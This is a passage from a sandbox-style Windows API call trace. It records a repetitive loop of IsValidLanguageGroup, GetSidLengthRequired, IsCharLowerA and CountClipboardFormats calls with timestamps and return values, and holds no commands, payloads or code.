(LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.429] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.429] IsCharLowerA (ch=41) returned 0 [0254.429] CountClipboardFormats () returned 0 [0254.429] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.429] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.429] IsCharLowerA (ch=42) returned 0 [0254.429] CountClipboardFormats () returned 0 [0254.429] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.429] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.429] IsCharLowerA (ch=43) returned 0 [0254.429] CountClipboardFormats () returned 0 [0254.429] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.429] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.429] IsCharLowerA (ch=44) returned 0 [0254.429] CountClipboardFormats () returned 0 [0254.429] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.429] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.429] IsCharLowerA (ch=45) returned 0 [0254.429] CountClipboardFormats () returned 0 [0254.429] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.429] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.429] IsCharLowerA (ch=46) returned 0 [0254.429] CountClipboardFormats () returned 0 [0254.429] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.429] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.429] IsCharLowerA (ch=47) returned 0 [0254.429] CountClipboardFormats () returned 0 [0254.429] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.429] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.430] IsCharLowerA (ch=48) returned 0 [0254.430] CountClipboardFormats () returned 0 [0254.430] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.430] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.430] IsCharLowerA (ch=49) returned 0 [0254.430] CountClipboardFormats () returned 0 [0254.430] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.430] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.430] IsCharLowerA (ch=50) returned 0 [0254.430] CountClipboardFormats () returned 0 [0254.430] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.430] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.430] IsCharLowerA (ch=51) returned 0 [0254.430] CountClipboardFormats () returned 0 [0254.430] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.430] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.430] IsCharLowerA (ch=52) returned 0 [0254.430] CountClipboardFormats () returned 0 [0254.430] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.430] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.430] IsCharLowerA (ch=53) returned 0 [0254.430] CountClipboardFormats () returned 0 [0254.430] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.430] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.430] IsCharLowerA (ch=54) returned 0 [0254.430] CountClipboardFormats () returned 0 [0254.430] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.430] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.430] IsCharLowerA (ch=55) returned 0 [0254.430] CountClipboardFormats () returned 0 [0254.430] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.430] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.430] IsCharLowerA (ch=56) returned 0 [0254.430] CountClipboardFormats () returned 0 [0254.430] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.430] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.430] IsCharLowerA (ch=57) returned 0 [0254.431] CountClipboardFormats () returned 0 [0254.431] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.431] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.431] IsCharLowerA (ch=58) returned 0 [0254.431] CountClipboardFormats () returned 0 [0254.431] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.431] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.431] IsCharLowerA (ch=59) returned 0 [0254.431] CountClipboardFormats () returned 0 [0254.431] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.431] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.431] IsCharLowerA (ch=60) returned 0 [0254.431] CountClipboardFormats () returned 0 [0254.431] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.431] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.431] IsCharLowerA (ch=61) returned 0 [0254.431] CountClipboardFormats () returned 0 [0254.431] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.431] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.431] IsCharLowerA (ch=62) returned 0 [0254.431] CountClipboardFormats () returned 0 [0254.431] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.431] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.431] IsCharLowerA (ch=63) returned 0 [0254.431] CountClipboardFormats () returned 0 [0254.431] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.431] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.431] IsCharLowerA (ch=32) returned 0 [0254.431] CountClipboardFormats () returned 0 [0254.431] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.431] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.431] IsCharLowerA (ch=33) returned 0 [0254.431] CountClipboardFormats () returned 0 [0254.431] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.431] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.431] IsCharLowerA (ch=34) returned 0 [0254.432] CountClipboardFormats () returned 0 [0254.432] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.432] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.432] IsCharLowerA (ch=35) returned 0 [0254.432] CountClipboardFormats () returned 0 [0254.432] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.432] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.432] IsCharLowerA (ch=36) returned 0 [0254.432] CountClipboardFormats () returned 0 [0254.432] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.432] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.432] IsCharLowerA (ch=37) returned 0 [0254.432] CountClipboardFormats () returned 0 [0254.432] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.432] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.432] IsCharLowerA (ch=38) returned 0 [0254.432] CountClipboardFormats () returned 0 [0254.432] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.432] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.432] IsCharLowerA (ch=39) returned 0 [0254.432] CountClipboardFormats () returned 0 [0254.432] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.432] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.432] IsCharLowerA (ch=40) returned 0 [0254.432] CountClipboardFormats () returned 0 [0254.432] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.432] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.432] IsCharLowerA (ch=41) returned 0 [0254.432] CountClipboardFormats () returned 0 [0254.432] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.432] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.432] IsCharLowerA (ch=42) returned 0 [0254.432] CountClipboardFormats () returned 0 [0254.432] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.432] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.432] IsCharLowerA (ch=43) returned 0 [0254.433] CountClipboardFormats () returned 0 [0254.433] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.433] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.433] IsCharLowerA (ch=44) returned 0 [0254.433] CountClipboardFormats () returned 0 [0254.433] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.433] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.433] IsCharLowerA (ch=45) returned 0 [0254.433] CountClipboardFormats () returned 0 [0254.433] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.433] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.433] IsCharLowerA (ch=46) returned 0 [0254.433] CountClipboardFormats () returned 0 [0254.433] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.433] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.433] IsCharLowerA (ch=47) returned 0 [0254.433] CountClipboardFormats () returned 0 [0254.433] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.433] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.433] IsCharLowerA (ch=48) returned 0 [0254.433] CountClipboardFormats () returned 0 [0254.433] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.433] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.433] IsCharLowerA (ch=49) returned 0 [0254.433] CountClipboardFormats () returned 0 [0254.433] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.433] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.433] IsCharLowerA (ch=50) returned 0 [0254.433] CountClipboardFormats () returned 0 [0254.433] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.433] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.433] IsCharLowerA (ch=51) returned 0 [0254.433] CountClipboardFormats () returned 0 [0254.433] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.433] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.433] IsCharLowerA (ch=52) returned 0 [0254.434] CountClipboardFormats () returned 0 [0254.434] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.434] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.434] IsCharLowerA (ch=53) returned 0 [0254.434] CountClipboardFormats () returned 0 [0254.434] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.434] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.434] IsCharLowerA (ch=54) returned 0 [0254.434] CountClipboardFormats () returned 0 [0254.434] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.434] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.434] IsCharLowerA (ch=55) returned 0 [0254.434] CountClipboardFormats () returned 0 [0254.434] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.434] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.434] IsCharLowerA (ch=56) returned 0 [0254.434] CountClipboardFormats () returned 0 [0254.434] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.434] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.434] IsCharLowerA (ch=57) returned 0 [0254.434] CountClipboardFormats () returned 0 [0254.434] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.434] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.434] IsCharLowerA (ch=58) returned 0 [0254.434] CountClipboardFormats () returned 0 [0254.434] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.434] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.434] IsCharLowerA (ch=59) returned 0 [0254.434] CountClipboardFormats () returned 0 [0254.434] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.434] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.434] IsCharLowerA (ch=60) returned 0 [0254.434] CountClipboardFormats () returned 0 [0254.434] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.434] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.434] IsCharLowerA (ch=61) returned 0 [0254.434] CountClipboardFormats () returned 0 [0254.435] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.435] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.435] IsCharLowerA (ch=62) returned 0 [0254.435] CountClipboardFormats () returned 0 [0254.435] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.435] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.435] IsCharLowerA (ch=63) returned 0 [0254.435] CountClipboardFormats () returned 0 [0254.435] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.435] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.435] IsCharLowerA (ch=32) returned 0 [0254.435] CountClipboardFormats () returned 0 [0254.435] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.435] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.435] IsCharLowerA (ch=1) returned 0 [0254.435] CountClipboardFormats () returned 0 [0254.435] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.435] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.435] IsCharLowerA (ch=2) returned 0 [0254.435] CountClipboardFormats () returned 0 [0254.435] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.435] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.435] IsCharLowerA (ch=3) returned 0 [0254.435] CountClipboardFormats () returned 0 [0254.435] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.435] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.435] IsCharLowerA (ch=4) returned 0 [0254.435] CountClipboardFormats () returned 0 [0254.435] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.435] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.435] IsCharLowerA (ch=5) returned 0 [0254.435] CountClipboardFormats () returned 0 [0254.435] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.435] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.435] IsCharLowerA (ch=6) returned 0 [0254.435] CountClipboardFormats () returned 0 [0254.435] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.436] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.436] IsCharLowerA (ch=7) returned 0 [0254.436] CountClipboardFormats () returned 0 [0254.436] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.436] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.436] IsCharLowerA (ch=8) returned 0 [0254.436] CountClipboardFormats () returned 0 [0254.436] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.436] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.436] IsCharLowerA (ch=9) returned 0 [0254.436] CountClipboardFormats () returned 0 [0254.436] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.436] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.436] IsCharLowerA (ch=10) returned 0 [0254.436] CountClipboardFormats () returned 0 [0254.436] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.436] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.436] IsCharLowerA (ch=11) returned 0 [0254.436] CountClipboardFormats () returned 0 [0254.436] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.436] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.436] IsCharLowerA (ch=12) returned 0 [0254.436] CountClipboardFormats () returned 0 [0254.436] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.436] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.436] IsCharLowerA (ch=13) returned 0 [0254.436] CountClipboardFormats () returned 0 [0254.436] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.436] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.436] IsCharLowerA (ch=14) returned 0 [0254.436] CountClipboardFormats () returned 0 [0254.436] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.436] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.436] IsCharLowerA (ch=15) returned 0 [0254.436] CountClipboardFormats () returned 0 [0254.436] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.437] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.437] IsCharLowerA (ch=16) returned 0 [0254.437] CountClipboardFormats () returned 0 [0254.437] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.437] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.437] IsCharLowerA (ch=17) returned 0 [0254.437] CountClipboardFormats () returned 0 [0254.437] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.437] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.437] IsCharLowerA (ch=18) returned 0 [0254.437] CountClipboardFormats () returned 0 [0254.437] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.437] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.437] IsCharLowerA (ch=19) returned 0 [0254.437] CountClipboardFormats () returned 0 [0254.437] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.437] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.437] IsCharLowerA (ch=20) returned 0 [0254.437] CountClipboardFormats () returned 0 [0254.437] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.437] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.437] IsCharLowerA (ch=21) returned 0 [0254.437] CountClipboardFormats () returned 0 [0254.437] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.438] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.438] IsCharLowerA (ch=22) returned 0 [0254.438] CountClipboardFormats () returned 0 [0254.438] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.438] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.438] IsCharLowerA (ch=23) returned 0 [0254.438] CountClipboardFormats () returned 0 [0254.438] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.438] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.438] IsCharLowerA (ch=24) returned 0 [0254.438] CountClipboardFormats () returned 0 [0254.438] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.438] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.438] IsCharLowerA (ch=25) returned 0 [0254.438] CountClipboardFormats () returned 0 [0254.438] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.438] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.438] IsCharLowerA (ch=26) returned 0 [0254.438] CountClipboardFormats () returned 0 [0254.438] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.438] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.438] IsCharLowerA (ch=27) returned 0 [0254.438] CountClipboardFormats () returned 0 [0254.438] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.438] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.438] IsCharLowerA (ch=28) returned 0 [0254.438] CountClipboardFormats () returned 0 [0254.438] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.438] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.438] IsCharLowerA (ch=29) returned 0 [0254.438] CountClipboardFormats () returned 0 [0254.438] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.438] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.438] IsCharLowerA (ch=30) returned 0 [0254.438] CountClipboardFormats () returned 0 [0254.438] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.438] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.439] IsCharLowerA (ch=31) returned 0 [0254.439] CountClipboardFormats () returned 0 [0254.439] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.439] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.439] IsCharLowerA (ch=32) returned 0 [0254.439] CountClipboardFormats () returned 0 [0254.439] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.439] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.439] IsCharLowerA (ch=1) returned 0 [0254.439] CountClipboardFormats () returned 0 [0254.439] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.439] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.439] IsCharLowerA (ch=2) returned 0 [0254.439] CountClipboardFormats () returned 0 [0254.439] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.439] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.439] IsCharLowerA (ch=3) returned 0 [0254.439] CountClipboardFormats () returned 0 [0254.439] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.439] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.439] IsCharLowerA (ch=4) returned 0 [0254.439] CountClipboardFormats () returned 0 [0254.439] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.439] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.439] IsCharLowerA (ch=5) returned 0 [0254.439] CountClipboardFormats () returned 0 [0254.439] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.439] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.439] IsCharLowerA (ch=6) returned 0 [0254.439] CountClipboardFormats () returned 0 [0254.439] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.439] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.439] IsCharLowerA (ch=7) returned 0 [0254.439] CountClipboardFormats () returned 0 [0254.439] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.439] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.440] IsCharLowerA (ch=8) returned 0 [0254.440] CountClipboardFormats () returned 0 [0254.440] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.440] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.440] IsCharLowerA (ch=9) returned 0 [0254.440] CountClipboardFormats () returned 0 [0254.440] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.440] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.440] IsCharLowerA (ch=10) returned 0 [0254.440] CountClipboardFormats () returned 0 [0254.440] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.440] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.440] IsCharLowerA (ch=11) returned 0 [0254.440] CountClipboardFormats () returned 0 [0254.440] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.440] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.440] IsCharLowerA (ch=12) returned 0 [0254.440] CountClipboardFormats () returned 0 [0254.440] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.440] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.440] IsCharLowerA (ch=13) returned 0 [0254.440] CountClipboardFormats () returned 0 [0254.440] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.440] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.440] IsCharLowerA (ch=14) returned 0 [0254.440] CountClipboardFormats () returned 0 [0254.440] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.440] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.440] IsCharLowerA (ch=15) returned 0 [0254.440] CountClipboardFormats () returned 0 [0254.440] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.440] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.440] IsCharLowerA (ch=16) returned 0 [0254.440] CountClipboardFormats () returned 0 [0254.440] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.440] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.441] IsCharLowerA (ch=17) returned 0 [0254.441] CountClipboardFormats () returned 0 [0254.441] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.441] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.441] IsCharLowerA (ch=18) returned 0 [0254.441] CountClipboardFormats () returned 0 [0254.441] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.441] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.441] IsCharLowerA (ch=19) returned 0 [0254.441] CountClipboardFormats () returned 0 [0254.441] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.441] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.441] IsCharLowerA (ch=20) returned 0 [0254.441] CountClipboardFormats () returned 0 [0254.441] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.441] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.441] IsCharLowerA (ch=21) returned 0 [0254.441] CountClipboardFormats () returned 0 [0254.441] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.441] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.441] IsCharLowerA (ch=22) returned 0 [0254.441] CountClipboardFormats () returned 0 [0254.441] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.441] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.441] IsCharLowerA (ch=23) returned 0 [0254.441] CountClipboardFormats () returned 0 [0254.441] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.441] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.441] IsCharLowerA (ch=24) returned 0 [0254.441] CountClipboardFormats () returned 0 [0254.441] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.441] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.441] IsCharLowerA (ch=25) returned 0 [0254.441] CountClipboardFormats () returned 0 [0254.441] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.442] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.442] IsCharLowerA (ch=26) returned 0 [0254.442] CountClipboardFormats () returned 0 [0254.442] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.442] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.442] IsCharLowerA (ch=27) returned 0 [0254.442] CountClipboardFormats () returned 0 [0254.442] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.442] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.442] IsCharLowerA (ch=28) returned 0 [0254.442] CountClipboardFormats () returned 0 [0254.442] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.442] 